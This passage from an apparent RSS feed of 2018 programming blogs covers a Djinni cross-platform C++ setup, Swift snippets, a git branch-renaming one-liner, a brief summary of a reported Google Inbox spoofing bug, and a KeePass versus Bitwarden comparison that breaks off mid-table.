&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;shared/photoapp.djinni 		; Djinni input IDL file
shared/generated-src/		; Djinni output
shared/lib/					; Shared implementation
android/					; Android app
ios/						; iOS app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="setting-up-the-ios-client"&gt;Setting up the iOS client&lt;/h2&gt;

&lt;p&gt;Tackling this part first since I’ve know all ins and outs of Xcode. Also I believe that with every cross platform development everyone has one favorite client, for me that is iOS and Android would be more or less a side product.&lt;/p&gt;

&lt;p&gt;A way to set up the whole project could be to simply wrap the library in its own which comes bundled with a bunch of header files. Or another way could be to include all the files required by each clients. I personally like the latter to avoid dealing with link time issues. All the issues would be discovered at compile time and after the compiler is done the rest should sail smoothly.&lt;/p&gt;

&lt;p&gt;With all the necessary files in the project, when I do a build I get the error &lt;code class="language-plaintext highlighter-rouge"&gt;DJICppWrapperCache+Private.h&lt;/code&gt; not found. And indeed when I look in my project I don’t find that file. Maybe there is something I missed somewhere, because I do see these files somewhere in the &lt;code class="language-plaintext highlighter-rouge"&gt;support-lib&lt;/code&gt; for Djinni source, but somehow these did not made into the autogenerated project. Could be that I was supposed to bring these in manually, so let’s do that.&lt;/p&gt;

&lt;p&gt;Turns out that was indeed the missing puzzle. This is how the iOS project looks like&lt;/p&gt;

&lt;p&gt;&lt;img alt="iOS Project" src="https://i.imgur.com/MmTAgcV.png" /&gt;&lt;/p&gt;

&lt;p&gt;And here is the text on screen&lt;/p&gt;

&lt;p&gt;&lt;img alt="iOS client" src="https://i.imgur.com/AqlsBzl.png" /&gt;&lt;/p&gt;

&lt;h2 id="setting-up-the-android-client"&gt;Setting up the Android client&lt;/h2&gt;

&lt;p&gt;This would be even more interesting to set up, since I’ve almost 0 experience with Android Studio or even how Java build system and runtime works. But, it seems the out of the box for C++ from Android has greatly improved since the last time I experimented with it. Last time I had to download and install the NDK and it was so much painful as if the Android people did not want anyone to even write C++. This time the set up is almost as clean as in Xcode, you just simply tick the correct boxes and a hello world app template pops up. Nice!&lt;/p&gt;

&lt;p&gt;And on top of it the build system is now a rather familiar Cmake. I really love this new Android development environment. This is my &lt;code class="language-plaintext highlighter-rouge"&gt;CmakeLists.txt&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;cmake_minimum_required(VERSION 3.4.1)

# Add shared files
file(
        GLOB photoapp_sources
        ../../shared/support-lib/jni/*.cpp
        ../../shared/generated-src/jni/*.cpp
        ../../shared/src/*.cpp
)

# Provide include files
include_directories(
        ../../shared/support-lib/
        ../../shared/support-lib/jni/
        ../../shared/src/
        ../../shared/generated-src/cpp/
        ../../shared/generated-src/jni/
)

# Create library from the shared files
add_library(
        photoapplib
        SHARED
        ${photoapp_sources}
)

# Link library
target_link_libraries(photoapplib)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then after reading the same string from the shared library and rendering it on a &lt;code class="language-plaintext highlighter-rouge"&gt;TextView&lt;/code&gt; we get&lt;/p&gt;

&lt;p&gt;&lt;img alt="Android screenshot" src="https://i.imgur.com/xGDuB9b.png" /&gt;&lt;/p&gt;

&lt;h2 id="thanks"&gt;Thanks&lt;/h2&gt;

&lt;p&gt;So how do I feel about Djinni so far? I would say, I did like it a lot, if I would every have to do a cross platform mobile app, I would love to do it with Djinni. I also did love the fact that how much improvements have been made in the Android IDE to support C++.&lt;/p&gt;

&lt;p&gt;I’ll probably expand this project further to the regular PhotoApp that I try to make with every toolkit that I try, which involves fetching some data, parsing it and rendering it on screen. I’ll also post my notes here on this blog.&lt;/p&gt;

&lt;p&gt;The entire &lt;a href="https://github.com/chunkyguy/PhotoApp/tree/master/x-platform-djinni"&gt;project is available&lt;/a&gt; for referencing.&lt;/p&gt;

&lt;p&gt;Thanks for reading!&lt;/p&gt;</description><author>Whacky Labs</author><pubDate>Sat, 24 Nov 2018 00:54:00 GMT</pubDate><guid isPermaLink="true">https://whackylabs.com/djinni/cpp/ios/android/2018/11/23/cross-platform-cpp/</guid></item><item><title>Ryanair, Hamiltonian Cycles, and using graph theory to find cheap flights</title><link>https://blog.jonlu.ca/posts/ryan-air</link><description/><author>JonLuca's Blog</author><pubDate>Fri, 23 Nov 2018 23:14:51 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/ryan-air</guid></item><item><title>You NEVER saw this if you are older than 27. No, 32. No...</title><link>https://stop.zona-m.net/2018/11/you-never-saw-this-if-you-are-older-than-27.-no-32.-no.../</link><description>&lt;p&gt;Global warming? &amp;ldquo;Same Young, Same Young&amp;rdquo;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 23 Nov 2018 12:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/11/you-never-saw-this-if-you-are-older-than-27.-no-32.-no.../</guid></item><item><title>Inline Swift computed properties</title><link>https://xenodium.com/inline-swift-computed-properties</link><description>&lt;p&gt;Via &lt;a href="https://twitter.com/objcio"&gt;objc.io&lt;/a&gt; and &lt;a href="https://twitter.com/mxcl"&gt;Max Howell's&lt;/a&gt; &lt;a href="https://twitter.com/mxcl/status/1065802821700857856"&gt;retweet&lt;/a&gt;, TIL about Swift's inline computed properties. Another one to try on Org &lt;a href="https://orgmode.org/worg/org-contrib/babel/intro.html"&gt;Babel&lt;/a&gt;. ‏&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-swift"&gt;func greetWorld() {
 var message = &amp;quot;hello&amp;quot;
 var betterMessage: String {
   return &amp;quot;\(message) world&amp;quot;
 }
 print(betterMessage)
}

greetWorld()
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 23 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/inline-swift-computed-properties</guid></item><item><title>Multiline Swift strings</title><link>https://xenodium.com/multiline-swift-strings</link><description>&lt;p&gt;&lt;a href="https://twitter.com/twostraws"&gt;Paul Hudson's&lt;/a&gt; &lt;a href="https://twitter.com/twostraws"&gt;tweet&lt;/a&gt; introduced me to Swift's multiline string indentation control using closing quotes. Neat!&lt;/p&gt;
&lt;p&gt;Being an org-mode fan, I thought I'd give Swift multiline strings a try using Org &lt;a href="https://orgmode.org/worg/org-contrib/babel/intro.html"&gt;Babel's&lt;/a&gt; &lt;a href="https://github.com/zweifisch/ob-swift"&gt;ob-swift&lt;/a&gt;. I get to verify it and document at the same time. Win.&lt;/p&gt;
&lt;p&gt;Swift org mode source blocks (ie. BEGIN_SRC/END_SRC) can be added as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-org"&gt;#+BEGIN_SRC swift :exports both
  print(&amp;quot;&amp;quot;&amp;quot;
       Hello World
  &amp;quot;&amp;quot;&amp;quot;)

  print(&amp;quot;&amp;quot;&amp;quot;
       Hello World
       &amp;quot;&amp;quot;&amp;quot;)
#+END_SRC

#+RESULTS:
:      Hello World
: Hello World
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By pressing &lt;em&gt;C-c C-c&lt;/em&gt; anywhere in the code block, the snippet is executed and its output captured in the &lt;em&gt;RESULT&lt;/em&gt; block. Super handy for quickly trying out snippets and keeping as future reference.&lt;/p&gt;
&lt;p&gt;As a bonus, the above blocks can be exported to HTML (&lt;a href="https://orgmode.org/manual/Exporting.html"&gt;amongst other formats&lt;/a&gt;). With some &lt;a href="https://github.com/xenodium/dotsies/search?q=org-html-head-extra&amp;amp;unscoped_q=org-html-head-extra"&gt;styling&lt;/a&gt;, it looks as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.swift"&gt;print(&amp;quot;&amp;quot;&amp;quot;
     Hello World
&amp;quot;&amp;quot;&amp;quot;)

print(&amp;quot;&amp;quot;&amp;quot;
     Hello World
     &amp;quot;&amp;quot;&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-example"&gt;     Hello World
Hello World
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 23 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/multiline-swift-strings</guid></item><item><title>The Growth-Share Matrix of Software Development</title><link>https://whoisnnamdi.com/the-growth-share-matrix-of-software-development/</link><description/><author>Who is Nnamdi?</author><pubDate>Fri, 23 Nov 2018 01:45:00 GMT</pubDate><guid isPermaLink="true">https://whoisnnamdi.com/the-growth-share-matrix-of-software-development/</guid></item><item><title>Breaking the Ice for Underwater Hockey</title><link>https://svedic.org/personal/underwater-hockey</link><description>&amp;#8220;This is for you kid,&amp;#8221; said my uncle, &amp;#8220;have fun!&amp;#8221; I was 12 and I got my first mask and fins. I loved it. I would go every day to the seaside, to the rocky pier, and dive next to &amp;#8230; &lt;a href="https://svedic.org/personal/underwater-hockey"&gt;Continue reading &lt;span class="meta-nav"&gt;&amp;#8594;&lt;/span&gt;&lt;/a&gt;</description><author>Svedic.org</author><pubDate>Thu, 22 Nov 2018 11:11:08 GMT</pubDate><guid isPermaLink="true">https://svedic.org/personal/underwater-hockey</guid></item><item><title>Prolong keyboard backlight timeout</title><link>https://gist.github.com/mhitza/c454f5d8a30edb122f56bc67ffb386be</link><description>Frustrated by some weird default keyboard backlight timeout on your laptop under Linux? I know how you feel, had the same frustration with my Dell laptop until I found a workaround.</description><author>personal code attic</author><pubDate>Thu, 22 Nov 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://gist.github.com/mhitza/c454f5d8a30edb122f56bc67ffb386be</guid></item><item><title>PostgreSQL Upserts - INSERT or UPDATE Made Easy</title><link>https://bhoey.com/blog/postgresql-upserts/</link><description>&lt;p&gt;SQL upserts are a combination of an INSERT and/or UPDATE into a single database operation which allows rows to  to be added or modified in an atomic, concurrent-safe way.&amp;#160;&lt;a href="https://bhoey.com/blog/postgresql-upserts/"&gt;[Continue&amp;#160;reading...] &lt;span class="screen-reader-text"&gt;PostgreSQL Upserts - INSERT or UPDATE Made Easy&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The post &lt;a href="https://bhoey.com/blog/postgresql-upserts/" rel="nofollow"&gt;PostgreSQL Upserts - INSERT or UPDATE Made Easy&lt;/a&gt; appeared first on &lt;a href="https://bhoey.com/blog" rel="nofollow"&gt;BHoey&lt;/a&gt;.&lt;/p&gt;</description><author>BHoey</author><pubDate>Thu, 22 Nov 2018 01:05:39 GMT</pubDate><guid isPermaLink="true">https://bhoey.com/blog/postgresql-upserts/</guid></item><item><title>Prefixing Git Branch With Initials</title><link>https://caiustheory.com/prefixing-git-branch-with-initials/</link><description>&lt;p&gt;Working somewhere where we prefix our branches with the creator&amp;rsquo;s initials, I sometimes forget to do so.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; This leads to me having to rename the branch, typing out the whole name again after adding &lt;code&gt;cd/&lt;/code&gt; to the start of it.&lt;/p&gt;
&lt;p&gt;Computers are meant to solve repetitive problems for us, so let&amp;rsquo;s put it to work in this case too. My &lt;a href="https://github.com/caius/BinFiles"&gt;~/bin&lt;/a&gt; contains &lt;a href="https://github.com/caius/BinFiles/blob/c7c5c6ababd70e65fa4d072bf8392aaa014c607c/git-current-branch"&gt;&lt;code&gt;git current-branch&lt;/code&gt;&lt;/a&gt;, which returns the current branch name.&lt;/p&gt;
&lt;p&gt;If we hardcode the initials, this becomes a simple command to recall from our history:&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git branch --move --force cd/&lt;span class="k"&gt;$(&lt;/span&gt;git current-branch&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But computers are supposed to solve all repetitive work, including knowing who I am, right? Correct, my local user account knows my full name, so we can work out my initials from that. Lets lean on the &lt;code&gt;id(1)&lt;/code&gt; command to lookup the user&amp;rsquo;s details then strip it down to just the initials.&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;sup id="fnref:4"&gt;&lt;a class="footnote-ref" href="#fn:4"&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id -F
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# =&amp;gt; "Caius Durling"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id -F &lt;span class="p"&gt;|&lt;/span&gt; sed -Ee &lt;span class="s1"&gt;'s/(^| )(.)[^ ]+/\2/g'&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;'A-Z'&lt;/span&gt; &lt;span class="s1"&gt;'a-z'&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# =&amp;gt; cd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Bingo, we can wrap that into a subshell passed to the branch move command and we&amp;rsquo;re done in a one-liner.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git branch --move --force &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;id -F &lt;span class="p"&gt;|&lt;/span&gt; sed -Ee &lt;span class="s1"&gt;'s/(^| )(.)[^ ]+/\2/g'&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;'A-Z'&lt;/span&gt; &lt;span class="s1"&gt;'a-z'&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;git current-branch&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;I don&amp;rsquo;t follow that policy for my personal repos, or working on forks of other people&amp;rsquo;s code. And I&amp;rsquo;m human, so I forget.&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;You can also replace &lt;code&gt;--move --force&lt;/code&gt; with &lt;code&gt;-M&lt;/code&gt;: &lt;code&gt;git branch -M newname&lt;/code&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:2"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;On macOS you can use &lt;code&gt;id -F&lt;/code&gt; to return the full name of the user. Doing this on other platforms is left as an exercise for the reader.&amp;#160;&lt;a class="footnote-backref" href="#fnref:3"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:4"&gt;
&lt;p&gt;Yes, this is an incredibly naive way to initialize a name, but it&amp;rsquo;s good enough for the people I work with. Handling edge cases is left as … you got it, an exercise for the reader.&amp;#160;&lt;a class="footnote-backref" href="#fnref:4"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Caius Theory</author><pubDate>Wed, 21 Nov 2018 22:30:40 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/prefixing-git-branch-with-initials/</guid></item><item><title>Going beyond the Golden Ratio.</title><link>https://extremelearning.com.au/going-beyond-golden-ratio/</link><description>I show that for the same reason that the golden ratio, $\phi=1.6180334..$, can be considered the most irrational number, that $1+\sqrt{2}$ can be considered the 2nd most irrational number, and indeed why $(9+\sqrt{221})/10$ can be considered the 3rd most irrational number.    This blog post was featured on the front page of Hacker News a &amp;#8230; &lt;p class="link-more"&gt;&lt;a class="more-link" href="https://extremelearning.com.au/going-beyond-golden-ratio/"&gt;Continue reading&lt;span class="screen-reader-text"&gt; "Going beyond the Golden Ratio."&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Extreme Learning</author><pubDate>Wed, 21 Nov 2018 12:16:42 GMT</pubDate><guid isPermaLink="true">https://extremelearning.com.au/going-beyond-golden-ratio/</guid></item><item><title>Google Inbox spoofing vulnerability</title><link>https://eligrey.com/blog/google-inbox-spoofing-vulnerability/</link><description>On May 4th, 2017 I discovered and privately reported a recipient spoofing vulnerability in Google Inbox. I noticed that the composition box always hid the email addresses of named recipients without providing a way to inspect the actual email address, and figured out how to abuse this with mailto: links containing named recipients. The link [&amp;#8230;]</description><author>Eli Grey</author><pubDate>Wed, 21 Nov 2018 10:56:43 GMT</pubDate><guid isPermaLink="true">https://eligrey.com/blog/google-inbox-spoofing-vulnerability/</guid></item><item><title>KeePass vs Bitwarden: A Comparison of Free Password Managers</title><link>https://www.mikekasberg.com/blog/2018/11/20/keepass-vs-bitwarden.html</link><description>&lt;p&gt;It’s been nearly 2 years since I originally wrote about
&lt;a href="https://www.mikekasberg.com/blog/2017/03/25/how-i-manage-passwords-with-keepass.html"&gt;How I Manage Passwords with KeePass&lt;/a&gt;.
That blog entry was inspired by Troy Hunt’s post,
“&lt;a href="https://www.troyhunt.com/only-secure-password-is-one-you-cant/"&gt;The only secure password is one you can’t remember&lt;/a&gt;”.
Using KeePass was a wonderful experience, and I’m thoroughly convinced that
&lt;strong&gt;everyone should use a password manager&lt;/strong&gt;. The ease of use and level of
security a password manager provides is way better than anything else you could
do to remember your passwords. One of the most common ways a person can be
hacked is by reusing the same password on many websites. The problem is that if
&lt;em&gt;any&lt;/em&gt; website has a &lt;a href="https://haveibeenpwned.com/PwnedWebsites"&gt;data breach&lt;/a&gt;,
&lt;em&gt;all&lt;/em&gt; the websites you used that password on are compromised. And a password
manager solves this problem by using a different password on every site.&lt;/p&gt;

&lt;p&gt;Recently, I switched from &lt;a href="https://keepass.info/"&gt;KeePass&lt;/a&gt; to
&lt;a href="https://bitwarden.com/"&gt;Bitwarden&lt;/a&gt;. Now that I’ve used Bitwarden for several
weeks, I want to compare the two most popular free password managers.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; It’s 2021 now, and I’ve been using Bitwarden for over two years.
I’m still &lt;strong&gt;incredibly happy with Bitwarden&lt;/strong&gt;, and I recommend it to anyone I
can!  It’s a great password manager, and I expect I’ll continue using it for a
long time to come.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id="keepass"&gt;KeePass&lt;/h2&gt;

&lt;p&gt;&lt;img alt="KeePass logo" src="https://www.mikekasberg.com/images/keepass-vs-bitwarden/keepass.png" /&gt;&lt;/p&gt;

&lt;p&gt;KeePass is a relatively old application. KeePass 1 was originally released for
Windows XP in 2003, and KeePass 2 came out of beta in 2009. It shows - KeePass
&lt;em&gt;feels&lt;/em&gt; like a Windows application from the early 2000’s. (Its icons and toolbar
are a bit dated.) Although the application itself is old, it’s still actively
developed, and remains one of the most popular password managers. There are a
large number of plugins available and because it’s open source, it’s pretty easy
to find a KeePass-compatible application for any device or operating system.&lt;/p&gt;

&lt;p&gt;&lt;img alt="KeePass screenshot" src="https://www.mikekasberg.com/images/keepass-vs-bitwarden/keepass_big.png" /&gt;&lt;/p&gt;

&lt;p&gt;Using “KeePass” as your password manager really entails using a combination of
several different applications and services to work with a KeePass password
database file. I used &lt;a href="https://www.dropbox.com"&gt;Dropbox&lt;/a&gt; to sync my password
database between all my devices. I used
&lt;a href="https://play.google.com/store/apps/details?id=keepass2android.keepass2android"&gt;Keepass2Android&lt;/a&gt;
to read and store passwords from my phone. And I used
&lt;a href="https://keepassxc.org/"&gt;KeePassXC&lt;/a&gt; on my Linux and macOS computers. (And if
you’re using KeePass, I highly recommend all of these apps.) Although there are
some browser plugins available for KeePass or KeePassXC, they always seemed
finicky to me and I never found one I liked, so I stuck with the desktop
application. If you decide to use KeePass, you’ll have to figure out what works
for you. Maybe you prefer to use Google Drive to sync it across all your devices
and need to find the best iOS app. But one way or another, you can make it work.&lt;/p&gt;

&lt;p&gt;I was originally drawn to KeePass because it’s open source, and that remains one
of its strengths. An open source password manager means that security experts
(and anyone else who’s interested) can check out the source code and
independently verify the strength of the encryption it uses. It also means that
the application will always be free, so you won’t get sucked in to an expensive
payment plan.&lt;/p&gt;

&lt;p&gt;All in all, KeePass has widespread support for different platforms and plugins
(although you’ll need to figure out how to sync the file to all your devices
yourself). It’s very mature and also very flexible. Although the number of
applications and plugins available can be appealing, less technical users might
find it confusing and difficult to set up.&lt;/p&gt;

&lt;h2 id="bitwarden"&gt;Bitwarden&lt;/h2&gt;

&lt;p&gt;&lt;img alt="Bitwarden logo" src="https://www.mikekasberg.com/images/keepass-vs-bitwarden/bitwarden.png" /&gt;&lt;/p&gt;

&lt;p&gt;Bitwarden is the new kid on the block, with version 1.0 released near the end
of 2016.  It was designed - from the beginning - to be used in a multi-device
environment and sync passwords over the web, providing an open source solution
that can compete with other internet-native password managers. Although KeePass
(and its derivatives) are open source, they aren’t designed to operate on the
internet so they require additional services (like Dropbox or Google Drive) to
make them sync across different devices.  Bitwarden is an all-inclusive
solution, providing a unified experience across every platform.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Bitwarden screenshot" src="https://www.mikekasberg.com/images/keepass-vs-bitwarden/bitwarden-chrome.png" /&gt;&lt;/p&gt;

&lt;p&gt;Bitwarden provides official desktop applications for Windows, Mac, and Linux;
official phone apps for iOS and Android; and official browser plugins for
Chrome, Firefox, and Safari (in addition to others). Because all the apps are
officially supported by Bitwarden, there’s no need to find a 3rd-party
application to support your device. And because Bitwarden has built-in support
to synchronize your passwords over the internet, there’s no need to set up
additional cloud storage systems. Ultimately, this leads to a smoother user
experience that’s also much easier to configure.&lt;/p&gt;

&lt;p&gt;There &lt;em&gt;is&lt;/em&gt; a for-profit company behind Bitwarden, and they do offer different
&lt;a href="https://bitwarden.com/pricing/business/"&gt;pricing plans&lt;/a&gt; for individuals and
businesses. But as long as you’re not using it in a corporate environment, you
shouldn’t have to worry about paying anything - it’s free for up to 2 users in
an organization. While the pricing plans may make Bitwarden feel proprietary, it
is indeed open source. And because it’s open source, it has all the same
open source advantages KeePass does. If you were to pay for Bitwarden (in a
corporate plan or a premium plan), you’d be paying for the company to manage
&lt;em&gt;running&lt;/em&gt; the software on the internet for you – the software itself is open
source and therefore free. And in a way, this gets you the best of both worlds.
You can use open source software and still have a company to lean on for support
when you need it.&lt;/p&gt;

&lt;p&gt;As I mentioned at the beginning of this article, I’m a Bitwarden user! To me,
Bitwarden feels like the new version of KeePass, solving all the problems
KeePass has about syncing passwords over the internet to multiple devices, and
providing a nice, clean interface to use.&lt;/p&gt;

&lt;h2 id="comparison"&gt;Comparison&lt;/h2&gt;

&lt;p&gt;I’ve been using Bitwarden for a̶l̶m̶o̶s̶t̶ ̶a̶ ̶m̶o̶n̶t̶h̶ (update: &lt;strong&gt;years&lt;/strong&gt;) now, and I’m
really happy with it. I’m using the browser extension and the Android app, and
I love how seamless and effortless the experience is. Although my experience
with KeePass was good, there were minor annoyances here and there – like trying
to find the right plugin or fiddling with the browser extension. With Bitwarden,
all that friction is gone. I think the biggest reasons to use KeePass have
always been that it’s free (no cost) and open source, so the code can be
reviewed for security. I think Bitwarden also meets those criteria, and provides
a more modern password management solution with none of the drawbacks of
KeePass. The simplicity of configuring Bitwarden is the nail in the coffin for
me, and it was really easy to import my passwords.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;KeePass&lt;/th&gt;
      &lt;th&gt;Bitwarden&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Stood the test of time.&lt;/td&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Built for syncing multiple devices.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Includes password generator.&lt;/td&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Includes password generator.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Ported to every platform/OS imaginable.&lt;/td&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Support for all major platforms.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Lots of plugins.&lt;/td&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Seamless browser extension support.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11H7v-2h10v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Requires Dropbox to sync.&lt;/td&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Easier to set up.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;svg fill="currentColor" height="24" viewBox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"&gt;&lt;path d="M12 2C6.486 2 2 6.486 2 12s4.486 10 10 10 10-4.486 10-10S17.514 2 12 2zm5 11H7v-2h10v2z"&gt;&lt;/path&gt;&lt;/svg&gt; Harder for beginners to understand.&lt;/td&gt;
